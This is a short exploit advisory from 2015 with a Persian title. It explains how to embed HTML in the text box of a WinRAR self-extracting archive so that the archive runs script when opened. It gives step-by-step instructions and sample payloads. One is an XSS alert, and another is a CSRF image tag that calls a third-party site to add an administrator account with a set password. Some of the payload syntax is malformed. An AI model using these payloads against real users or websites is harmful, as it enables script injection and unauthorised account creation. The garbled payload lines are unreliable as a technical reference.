مراقبت فایل های SFX باشید!

# Date: 18/May/2015

# Exploit Author: Ehsan Ice

# Vendor Homepage: www.win-rar.com

# Version: All Version

# Tested on: [Windows 8 ,Windows 7 ,Windows xp]

##############################

#####################

#

# Winrar Xss and Csrf Vulnerability

#

# Steps

# 1- Right-click on a file and select Add to Archive...

# 2- Select Create SFX archive

# 3- Select Advanced tab and click on the file settings

# 4- In the new window, select Text and Icon tab

# 5- In the second text box write your code.

# Sample : <script>alert(/xss/)</script>

# 6- Click on OK and on the next window too

# 7- Now open SFX File.

#

#

# using wirar for xss and csrf

#

# In that text box use of img html tag.

# Sample Xss: <img src="http://site/index.php?msg=<script>alert(/Ehsan/)</script>" >

# Sample Csrf: <img src="http://site/index.php?main?add_admin=harry&password=123456789</script>" >

#

# Tnx to :Milad Hacking , MMA Defacer , Ramin Ramz , Alireza Attacker ,